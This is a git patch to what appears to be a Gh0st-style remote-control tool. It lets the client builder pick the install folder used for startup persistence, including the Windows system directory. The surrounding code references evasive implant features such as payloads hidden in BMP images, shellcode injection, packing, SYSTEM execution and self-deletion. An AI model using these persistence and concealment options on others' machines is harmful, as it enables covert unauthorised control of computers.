From b637c94e2443a7548c486bceae9a0d8eaaee6752 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 20 Oct 2026 12:42:49 +0200 Subject: [PATCH] Feature: Allow user to select an installation location for client --- client/ClientDll.cpp | 2 +- client/reg_startup.c | 26 ++- client/reg_startup.h | 4 +- client/test.cpp | 5 +- common/commands.h | 3 +- server/2015Remote/2015Remote.rc | Bin 178780 -> 179124 bytes server/2015Remote/2015Remote_vs2015.vcxproj | 2 + .../2015Remote_vs2015.vcxproj.filters | 2 + server/2015Remote/BuildDlg.cpp | 32 ++-- server/2015Remote/BuildDlg.h | 1 + server/2015Remote/CLicenseDlg.cpp | 3 +- server/2015Remote/lang/de_DE.ini | 3 + server/2015Remote/lang/en_US.ini | 3 + server/2015Remote/lang/zh_TW.ini | 3 + server/2015Remote/resource.h | 151 +++++++++--------- 15 files changed, 139 insertions(+), 101 deletions(-) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 1a57fa8..d46af36 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -283,7 +283,7 @@ int main(int argc, const char *argv[]) int r = RegisterStartup( g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost", g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost", - lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf); + lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf, g_SETTINGS.installFlag); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { diff --git a/client/reg_startup.c b/client/reg_startup.c index c39c46b..132be03 100644 --- a/client/reg_startup.c +++ b/client/reg_startup.c @@ -371,10 +371,28 @@ BOOL CreateDirectoryRecursively(const char* path) return TRUE; } -const char* GetInstallDirectory(const char * startupName) +const char* GetInstallDirectory(const char * startupName, int flag) { static char folder[MAX_PATH] = { 0 }; - if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) { + char env[32] = { 0 }; + switch (flag) { + case 1: + strcpy(env, "ProgramFiles"); + break; + case 2: + strcpy(env, "SystemRoot"); // Windows 目录,通常 C:\Windows + break; + case 3: + strcpy(env, "APPDATA"); // 当å‰�用户的漫游应用数æ�®ç›®å½•,å�³ ...\AppData\Roaming + break; + case 4: + strcpy(env, "LOCALAPPDATA"); // 当å‰�用户的本地应用数æ�®ç›®å½•,å�³ ...\AppData\Local + break; + default: // 0 + strcpy(env, "ProgramData"); + break; + } + if (GetEnvironmentVariableA(env, folder, MAX_PATH) > 0) { size_t len = strlen(folder); if (len > 0 && folder[len - 1] != '\\') { folder[len] = '\\'; @@ -390,7 +408,7 @@ const char* GetInstallDirectory(const char * startupName) return folder; } -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log) +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag) { #ifdef _DEBUG return 1; @@ -401,7 +419,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, if (GetUserNameA(username, &size)) { Mprintf("RegisterStartup is running with user: %s. Dir: %s, Name: %s\n", username, startupName, exeName); } - const char *folder = GetInstallDirectory(startupName); + const char *folder = GetInstallDirectory(startupName, flag); if (!folder) { return -1; } diff --git a/client/reg_startup.h b/client/reg_startup.h index 8b5bcf1..eb978ed 100644 --- a/client/reg_startup.h +++ b/client/reg_startup.h @@ -1,13 +1,13 @@ #pragma once #include -const char* GetInstallDirectory(const char* startupName); +const char* GetInstallDirectory(const char* startupName, int flag); typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...); // return > 0 means to continue running else terminate. // runasAdmin: 0-普通æ�ƒé™� 1-管ç�†å‘˜ 2-STYSTEM; 必须有管ç�†å‘˜æ�ƒé™�æ‰�能设置1或2 -int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log); +int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag); // 检测当å‰�进程是å�¦ä»¥SYSTEM身份è¿�行在Session 0, 返回true表示需è¦�å�¯åŠ¨ç”¨æˆ·Session代ç�† bool IsSystemInSession0(); diff --git a/client/test.cpp b/client/test.cpp index 736b51c..4aed0df 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -320,10 +320,11 @@ int main(int argc, const char *argv[]) int r = RegisterStartup( g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo", g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo", - lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf); + lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf, g_ConnectAddress.installFlag); if (r <= 0) { if (g_ConnectAddress.iStartup == Startup_DLL) { - const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo"); + const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo", + g_ConnectAddress.installFlag); if (!folder) { return -1; } diff --git a/common/commands.h b/common/commands.h index 1ac7281..59c2310 100644 --- a/common/commands.h +++ b/common/commands.h @@ -855,7 +855,8 @@ public: char installDir[32]; // 安装目录 char installName[32]; // 安装å��ç§° char installDesc[136];// 安装æ��è¿° - char szFututre[500]; // ä¿�留字段 + int installFlag; // 安装标记 + char szFututre[496]; // ä¿�留字段 public: void SetType(int typ) diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 6d7c40d9b0035400856705ce8144a397fa75aa2d..f75ddd9e0cb4cfb724dc3f005f31863d3d7082ab 100644 GIT binary patch delta 267 zcmccfg=@=qt_}0@g^d^t7z`P7fY^w^0!W)PSWe!UUn^|PV2nlFaB{#amdOda2AfwD zIB>BBM87Kwoy_PaJDI0igxie43~Ufk<7CE-;+q|+GZ>jI7%V0$R?AOrFjAWQrY2@` zRf*Q*7gZ{g&-ih$hcI|D_%rxTmabNvEZ}M~S)@Qf-Ule+3^c}!!34=wmSCPa(5#CE znUmAfRhn~Zx98L{eo3D8h*4#F+e5~RZI2k)&P?B6$s{#hW*w8*^e-_?LDL)7G0DNj bIHvDe$0RU4#g@r$dfhrEw(Tz9NOc~5!a$wq&!Em!< z!BVct1+^-Z9V+?wjljYXMaB$z>U}QFAFrB=zX71!w;VRSlwlH!vAFA7a zsE+Yf^7MUo89Am4JYp1^e&P{h1A@CfhGnZ%}NtOpWbESY?!pIgtQ01@NZ Vz$5_@)0 + + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 3d077a0..07dcd44 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -359,5 +359,7 @@ + + \ No newline at end of file diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 9908f65..1860a85 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -258,6 +258,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl); DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl); DDV_MaxChars(pDX, m_sDownloadUrl, 255); + DDX_Control(pDX, IDC_COMBO_INSTALL_LOC, m_ComboLocation); } @@ -426,7 +427,7 @@ void CBuildDlg::OnBnClickedOk() m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE); m_SliderClientSize.SetPos(0); } - int startup = Startup_DLL; + int startup = Startup_DLL, installFlag = m_ComboLocation.GetCurSel(); CString file; CString targetDir; switch (index) { @@ -434,7 +435,7 @@ void CBuildDlg::OnBnClickedOk() case IndexTestRun_MemDLL: case IndexTestRun_InjSC: file = "TestRun.exe"; - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag); typ = index == IndexTestRun_DLL ? CLIENT_TYPE_DLL : CLIENT_TYPE_MEMDLL; startup = std::map { {IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC}, @@ -444,14 +445,14 @@ void CBuildDlg::OnBnClickedOk() break; case IndexGhost: file = "ghost.exe"; - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag); typ = CLIENT_TYPE_ONE; szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize, is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86); break; case IndexGhostMsc: file = "ghost.exe"; - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag); typ = CLIENT_TYPE_ONE; startup = Startup_GhostMsc; szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize, @@ -459,7 +460,7 @@ void CBuildDlg::OnBnClickedOk() break; case IndexTestRunMsc: file = "TestRun.exe"; - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag); typ = CLIENT_TYPE_MEMDLL; startup = Startup_TestRunMsc; szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize, @@ -467,14 +468,14 @@ void CBuildDlg::OnBnClickedOk() break; case IndexServerDll: file = "ServerDll.dll"; - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir, installFlag); typ = CLIENT_TYPE_DLL; szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize, is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86); break; case IndexTinyRun: file = "TinyRun.dll"; - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir, installFlag); typ = CLIENT_TYPE_SHELLCODE; szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize, is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86); @@ -497,7 +498,7 @@ void CBuildDlg::OnBnClickedOk() } case IndexGhostSystem: file = "ghost.exe"; - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir, installFlag); typ = CLIENT_TYPE_ONE; startup = Startup_GhostSystem; szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize, @@ -505,14 +506,14 @@ void CBuildDlg::OnBnClickedOk() break; case IndexTestRunSystem: file = "TestRun.exe"; - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir, installFlag); typ = CLIENT_TYPE_MEMDLL; startup = Startup_TestRunSystem; szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize, is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86); break; case OTHER_ITEM: { - targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir); + targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir, installFlag); m_OtherItem.GetWindowTextA(file); typ = -1; if (file != _TR("未选择文件")) { @@ -547,6 +548,7 @@ void CBuildDlg::OnBnClickedOk() memcpy(g_ConnectAddress.szGroupName, m_sGroupName, m_sGroupName.GetLength()); memcpy(g_ConnectAddress.installDir, m_sInstallDir, m_sInstallDir.GetLength()); memcpy(g_ConnectAddress.installName, m_sInstallName, m_sInstallName.GetLength()); + g_ConnectAddress.installFlag = installFlag; if (!g_ConnectAddress.IsValid()) { SAFE_DELETE_ARRAY(szBuffer); @@ -781,7 +783,8 @@ BOOL CBuildDlg::OnInitDialog() // 多语言翻译 - Static控件 SetDlgItemText(IDC_STATIC_OTHER_ITEM, _TR("未选择文件")); SetDlgItemText(IDC_STATIC_PAYLOAD, _TR("è½½è�·ç±»åž‹:")); - SetDlgItemText(IDC_STATIC_PAYLOAD2, _TR("安装目录:")); + SetDlgItemText(IDC_STATIC_LOCATION, _TR("安装目录:")); + SetDlgItemText(IDC_STATIC_PAYLOAD2, _TR("å­�目录:")); SetDlgItemText(IDC_STATIC_PAYLOAD3, _TR("程åº�å��ç§°:")); SetDlgItemText(IDC_STATIC_DOWNLOAD, _TR("下载地å�€(默认本机):")); SetDlgItemText(IDC_STATIC_BUILD_SERVICE, _TR("æœ�务程åº�:")); @@ -852,6 +855,13 @@ BOOL CBuildDlg::OnInitDialog() m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES + UPX"); m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD); + m_ComboLocation.InsertStringL(0, "ProgramData"); + m_ComboLocation.InsertStringL(1, "ProgramFiles - Admin"); + m_ComboLocation.InsertStringL(2, "SystemRoot - Admin"); + m_ComboLocation.InsertStringL(3, "APPDATA"); + m_ComboLocation.InsertStringL(4, "LOCALAPPDATA"); + m_ComboLocation.SetCurSel(0); + m_ComboPayload.InsertStringL(Payload_Self, "è½½è�·å†™å…¥å½“å‰�程åº�尾部"); m_ComboPayload.InsertStringL(Payload_Raw, "è½½è�·å†™å…¥å�•独的二进制文件"); m_ComboPayload.InsertStringL(Payload_BMP, "è½½è�·å†™å…¥ BMP æ ¼å¼�图片"); diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index c82dcc1..e103aa2 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -107,4 +107,5 @@ public: // 选 Linux / macOS 客户端时ç¦�用 Windows-only 选项(架构 / 加壳 / 高级 group) void EnableWindowsOnlyControls(BOOL enable); + CComboBox m_ComboLocation; }; diff --git a/server/2015Remote/CLicenseDlg.cpp b/server/2015Remote/CLicenseDlg.cpp index 41452c6..67ccbd8 100644 --- a/server/2015Remote/CLicenseDlg.cpp +++ b/server/2015Remote/CLicenseDlg.cpp @@ -648,7 +648,8 @@ void CLicenseDlg::OnLicenseRenewal() msg.FormatL("已预设续期至: %s\nå¹¶å�‘连接数: %d\né…�é¢�: %d (支æŒ�%då�°æœºå™¨ç»­æœŸ)\n客户端上线时将自动下å�‘新授æ�ƒ", strPending, hostNum, quota, quota); if (expired) { - msg += _L("\n(原授æ�ƒå·²è¿‡æœŸï¼Œç»­æœŸä»Žä»Šå¤©èµ·ç®—)"); + msg += _T("\n"); + msg += _L("(原授æ�ƒå·²è¿‡æœŸï¼Œç»­æœŸä»Žä»Šå¤©èµ·ç®—)"); } MessageBox(msg, _TR("预设æˆ�功"), MB_ICONINFORMATION); } diff --git a/server/2015Remote/lang/de_DE.ini b/server/2015Remote/lang/de_DE.ini index 7c7806b..5507761 100644 --- a/server/2015Remote/lang/de_DE.ini +++ b/server/2015Remote/lang/de_DE.ini @@ -2097,3 +2097,6 @@ TLS V2´«ÊäÒÑÆô¶¯£¬¹² %d ¸öÎļþ -> %s=V2-Uebertragung gestartet, %d Datei(en) -> %s V2ÏÂÔØÇëÇóÒÑ·¢ËÍ£¬¹² %d ¸öÏîÄ¿=V2-Download-Anfrage gesendet, %d Element(e) ÕÒ²»µ½Ö÷Á¬½Ó: clientID %llu=Hauptverbindung nicht gefunden: clientID=%llu + (ÒѹýÆÚ£¬ÐøÆÚ´Ó½ñÌìÆðËã)= (abgelaufen; Verlaengerung ab heute) +£¨Ô­ÊÚȨÒѹýÆÚ£¬ÐøÆÚ´Ó½ñÌìÆðË㣩=(Urspruengliche Lizenz abgelaufen; Verlaengerung ab heute) +×ÓĿ¼=SubDir diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 72c0336..1935629 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -2112,3 +2112,6 @@ TLS V2´«ÊäÒÑÆô¶¯£¬¹² %d ¸öÎļþ -> %s=V2 transfer started, %d file(s) -> %s V2ÏÂÔØÇëÇóÒÑ·¢ËÍ£¬¹² %d ¸öÏîÄ¿=V2 download request sent, %d item(s) ÕÒ²»µ½Ö÷Á¬½Ó: clientID %llu=Main connection not found: clientID=%llu + (ÒѹýÆÚ£¬ÐøÆÚ´Ó½ñÌìÆðËã)= (expired; renewal starts today) +£¨Ô­ÊÚȨÒѹýÆÚ£¬ÐøÆÚ´Ó½ñÌìÆðË㣩=(Original license expired; renewal starts today) +×ÓĿ¼=SubDir diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 422d28d..9843852 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -2103,3 +2103,6 @@ TLS V2´«ÊäÒÑÆô¶¯£¬¹² %d ¸öÎļþ -> %s=V2 ‚÷Ý”Òц¢„Ó£¬¹² %d ‚€™n°¸ -> %s V2ÏÂÔØÇëÇóÒÑ·¢ËÍ£¬¹² %d ¸öÏîÄ¿=V2 ÏÂÝdÕˆÇóÒÑ‚÷ËÍ£¬¹² %d ‚€í—Ä¿ ÕÒ²»µ½Ö÷Á¬½Ó: clientID %llu=ÕÒ²»µ½Ö÷ßB¾€: clientID=%llu + (ÒѹýÆÚ£¬ÐøÆÚ´Ó½ñÌìÆðËã)= (ÒÑß^ÆÚ£¬ÀmÆÚ�ĽñÌìÆðËã) +£¨Ô­ÊÚȨÒѹýÆÚ£¬ÐøÆÚ´Ó½ñÌìÆðË㣩=£¨Ô­ÊÚ™àÒÑß^ÆÚ£¬ÀmÆÚ�ĽñÌìÆðË㣩 +×ÓĿ¼=×ÓĿ¼ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index d59041d..14307ea 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -48,9 +48,6 @@ #define IDI_ICON_STRING 163 #define IDD_DIALOG_SERVICES 164 #define IDR_MENU_SERVICES 165 -#define IDD_DIALOG_CONNECTIONS 404 -#define IDR_MENU_CONNECTIONS 405 -#define IDI_CONNECTION 406 #define IDD_DIALOG_VIDEO 166 #define IDC_CURSOR2 168 #define IDC_CURSOR1 171 @@ -266,7 +263,6 @@ #define IDR_WEB_XTERM_CSS 383 #define IDR_WEB_XTERM_FIT_JS 384 #define IDR_WEB_INDEX_HTML 385 -#define IDR_WEB_OPUS_DECODER_JS 401 #define IDB_BITMAP_COMPRESS 386 #define IDB_BITMAP_UNCOMPRESS 387 #define IDB_BITMAP9 388 @@ -284,6 +280,12 @@ #define IDB_BITMAP_HISTORY_ACTIVITY 398 #define IDB_BITMAP_VIEW_WND 399 #define IDB_BITMAP_PROXY_AUTORUN 400 +#define IDR_WEB_OPUS_DECODER_JS 401 +#define IDD_DIALOG_SHARE_HOST 402 +#define IDD_FILE_SPEED 403 +#define IDD_DIALOG_CONNECTIONS 404 +#define IDR_MENU_CONNECTIONS 405 +#define IDI_CONNECTION 406 #define IDB_BITMAP_FILE_MANAGER 407 #define IDB_BITMAP_PRIVACY_SHIELD 408 #define IDB_BITMAP_DRAWING_BOARD 409 @@ -362,8 +364,6 @@ #define IDI_SYSTEM 2035 #define IDC_DOT 2036 #define IDD_AUDIO 2038 -#define IDD_QUALITY_LEVELS 3000 -#define IDD_PREVIEW_LEVELS 3001 #define IDI_AUDIO 2039 #define IDC_LIST_REMOTE 2040 #define IDC_LIST_LOCAL 2041 @@ -527,6 +527,7 @@ #define IDC_PROGRESS_FILESEND 2214 #define IDC_STATIC_PAYLOAD3 2214 #define IDC_STATIC_CURRENTINDEX 2215 +#define IDC_STATIC_LOCATION 2215 #define IDC_STATIC_CURRENTPERCENT 2216 #define IDC_EDIT_INSTALL_DIR 2216 #define IDC_EDIT_INSTALL_NAME 2217 @@ -777,6 +778,52 @@ #define IDC_STATIC_TRIGGER_TYPE 2544 #define IDC_STATIC_TRIGGER_ACTION 2545 #define IDC_EDIT_LOG 2546 +#define IDC_QLEVEL_FPS 2547 +#define IDC_QLEVEL_WIDTH 2553 +#define IDC_QLEVEL_ALGO 2559 +#define IDC_QLEVEL_BITRATE 2565 +#define IDC_QLEVEL_RESET 2571 +#define IDC_PLEVEL_WIDTH 2572 +#define IDC_PLEVEL_QUALITY 2578 +#define IDC_PLEVEL_RESET 2584 +#define IDC_STATIC_SHARE_ADDRESS 2585 +#define IDC_EDIT_SHARE_ADDRESS 2586 +#define IDC_CHECK_USE_SHINE 2587 +#define IDC_STATIC_SHARE_DAYS 2588 +#define IDC_EDIT_SHARE_DAYS 2589 +#define IDC_FSPEED_SLIDER 2590 +#define IDC_FSPEED_LABEL 2591 +#define IDC_FSPEED_RESET 2592 +#define IDC_QLEVEL_LABEL_LEVEL 2593 +#define IDC_QLEVEL_LABEL_FPS 2594 +#define IDC_QLEVEL_LABEL_WIDTH 2595 +#define IDC_QLEVEL_LABEL_ALGO 2596 +#define IDC_QLEVEL_LABEL_BITRATE 2597 +#define IDC_QLEVEL_LABEL_LEVEL0 2598 +#define IDC_QLEVEL_LABEL_LEVEL1 2599 +#define IDC_QLEVEL_LABEL_LEVEL2 2600 +#define IDC_QLEVEL_LABEL_LEVEL3 2601 +#define IDC_QLEVEL_LABEL_LEVEL4 2602 +#define IDC_QLEVEL_LABEL_LEVEL5 2603 +#define IDC_QLEVEL_LABEL_HINT 2604 +#define IDC_PLEVEL_LABEL_LEVEL 2605 +#define IDC_PLEVEL_LABEL_WIDTH 2606 +#define IDC_PLEVEL_LABEL_QUALITY 2607 +#define IDC_PLEVEL_LABEL_LEVEL0 2608 +#define IDC_PLEVEL_LABEL_LEVEL1 2609 +#define IDC_PLEVEL_LABEL_LEVEL2 2610 +#define IDC_PLEVEL_LABEL_LEVEL3 2611 +#define IDC_PLEVEL_LABEL_LEVEL4 2612 +#define IDC_PLEVEL_LABEL_LEVEL5 2613 +#define IDC_PLEVEL_LABEL_HINT 2614 +#define IDC_FSPEED_HINT 2615 +#define IDC_FSPEED_LABEL_SLOWEST 2616 +#define IDC_FSPEED_LABEL_DEFAULT 2617 +#define IDC_FSPEED_LABEL_UNLIMITED 2618 +#define IDC_STATIC_TRIGGER_LIST 2619 +#define IDC_COMBO_INSTALL_LOC 2620 +#define IDD_QUALITY_LEVELS 3000 +#define IDD_PREVIEW_LEVELS 3001 #define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_DELETE 32775 @@ -1006,24 +1053,8 @@ #define ID_MSGLOG_CLEAR 33041 #define ID_CANCEL_SHARE 33042 #define ID_MSGLOG_COPY 33043 -#define ID_MSGLOG_SEARCH 33078 -#define ID_MSGLOG_LOGIN_NOTIFY 33079 -#define ID_MSGLOG_BAN_IP 33080 -#define ID_MSGLOG_UNBAN_IP 33081 -#define ID_MSGLOG_WHITELIST_IP 33096 #define ID_WEB_REMOTE_CONTROL 33044 #define ID_TOOL_PLUGIN_SETTINGS 33045 -#define ID_MCP_SETTINGS 33077 -#define ID_TLS_CERTIFICATE 33093 -#define ID_CONNECTION_MANAGE 33086 -#define ID_CONNECTION_KILL 33087 -#define ID_CONNECTION_REFRESH 33088 -#define ID_TALK_MANAGE 33089 -#define ID_EXPERIMENT_FILE_MANAGER 33090 -#define ID_EXPERIMENT_PRIVATE_SCREEN 33091 -#define ID_EXPERIMENT_DRAWING_BOARD 33092 -#define ID_EXPERIMENT_TLS_ENABLE 33094 -#define ID_EXPERIMENT_TLS_DISABLE 33095 #define ID_33046 33046 #define ID_PROXY_PORT_AUTORUN 33047 #define ID_TRIGGER_SETTINGS 33048 @@ -1056,73 +1087,35 @@ #define ID_ONLINE_CLIENT_LOG 33074 #define ID_ONLINE_33075 33075 #define ID_ONLINE_FORBIDDEN 33076 +#define ID_MCP_SETTINGS 33077 +#define ID_MSGLOG_SEARCH 33078 +#define ID_MSGLOG_LOGIN_NOTIFY 33079 +#define ID_MSGLOG_BAN_IP 33080 +#define ID_MSGLOG_UNBAN_IP 33081 #define ID_ONLINE_HISTORY_ACTIVITY 33082 -#define ID_EXIT_FULLSCREEN 40001 #define ID_TOOL_QUALITY_LEVELS 33083 #define ID_TOOL_PREVIEW_LEVELS 33084 -#define IDC_QLEVEL_FPS 2547 -#define IDC_QLEVEL_WIDTH 2553 -#define IDC_QLEVEL_ALGO 2559 -#define IDC_QLEVEL_BITRATE 2565 -#define IDC_QLEVEL_RESET 2571 -#define IDC_PLEVEL_WIDTH 2572 -#define IDC_PLEVEL_QUALITY 2578 -#define IDC_PLEVEL_RESET 2584 - -#define IDD_DIALOG_SHARE_HOST 402 -#define IDC_STATIC_SHARE_ADDRESS 2585 -#define IDC_EDIT_SHARE_ADDRESS 2586 -#define IDC_CHECK_USE_SHINE 2587 -#define IDC_STATIC_SHARE_DAYS 2588 -#define IDC_EDIT_SHARE_DAYS 2589 - -// 文件传输速度调节对è¯�框 -#define IDD_FILE_SPEED 403 #define ID_TOOL_FILE_SPEED 33085 -#define IDC_FSPEED_SLIDER 2590 -#define IDC_FSPEED_LABEL 2591 -#define IDC_FSPEED_RESET 2592 - -// 高级è�œå�•三个对è¯�框的é�™æ€�文本(显å¼�在 OnInitDialog 设置中文,修å¤�é�žä¸­æ–‡ç³»ç»Ÿä¹±ç �) -#define IDC_QLEVEL_LABEL_LEVEL 2593 -#define IDC_QLEVEL_LABEL_FPS 2594 -#define IDC_QLEVEL_LABEL_WIDTH 2595 -#define IDC_QLEVEL_LABEL_ALGO 2596 -#define IDC_QLEVEL_LABEL_BITRATE 2597 -#define IDC_QLEVEL_LABEL_LEVEL0 2598 // 2598~2603:Ultra..Minimal å…­æ¡£ -#define IDC_QLEVEL_LABEL_LEVEL1 2599 -#define IDC_QLEVEL_LABEL_LEVEL2 2600 -#define IDC_QLEVEL_LABEL_LEVEL3 2601 -#define IDC_QLEVEL_LABEL_LEVEL4 2602 -#define IDC_QLEVEL_LABEL_LEVEL5 2603 -#define IDC_QLEVEL_LABEL_HINT 2604 - -#define IDC_PLEVEL_LABEL_LEVEL 2605 -#define IDC_PLEVEL_LABEL_WIDTH 2606 -#define IDC_PLEVEL_LABEL_QUALITY 2607 -#define IDC_PLEVEL_LABEL_LEVEL0 2608 // 2608~2613:Ultra..Minimal å…­æ¡£ -#define IDC_PLEVEL_LABEL_LEVEL1 2609 -#define IDC_PLEVEL_LABEL_LEVEL2 2610 -#define IDC_PLEVEL_LABEL_LEVEL3 2611 -#define IDC_PLEVEL_LABEL_LEVEL4 2612 -#define IDC_PLEVEL_LABEL_LEVEL5 2613 -#define IDC_PLEVEL_LABEL_HINT 2614 - -#define IDC_FSPEED_HINT 2615 -#define IDC_FSPEED_LABEL_SLOWEST 2616 -#define IDC_FSPEED_LABEL_DEFAULT 2617 -#define IDC_FSPEED_LABEL_UNLIMITED 2618 - -// 触å�‘器设置对è¯�框的分组框(显å¼�在 OnInitDialog 设置中文,修å¤�é�žä¸­æ–‡ç³»ç»Ÿä¹±ç �) -#define IDC_STATIC_TRIGGER_LIST 2619 +#define ID_CONNECTION_MANAGE 33086 +#define ID_CONNECTION_KILL 33087 +#define ID_CONNECTION_REFRESH 33088 +#define ID_TALK_MANAGE 33089 +#define ID_EXPERIMENT_FILE_MANAGER 33090 +#define ID_EXPERIMENT_PRIVATE_SCREEN 33091 +#define ID_EXPERIMENT_DRAWING_BOARD 33092 +#define ID_TLS_CERTIFICATE 33093 +#define ID_EXPERIMENT_TLS_ENABLE 33094 +#define ID_EXPERIMENT_TLS_DISABLE 33095 +#define ID_MSGLOG_WHITELIST_IP 33096 +#define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects -// +// #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 412 #define _APS_NEXT_COMMAND_VALUE 33097 -#define _APS_NEXT_CONTROL_VALUE 2620 +#define _APS_NEXT_CONTROL_VALUE 2621 #define _APS_NEXT_SYMED_VALUE 105 #endif #endif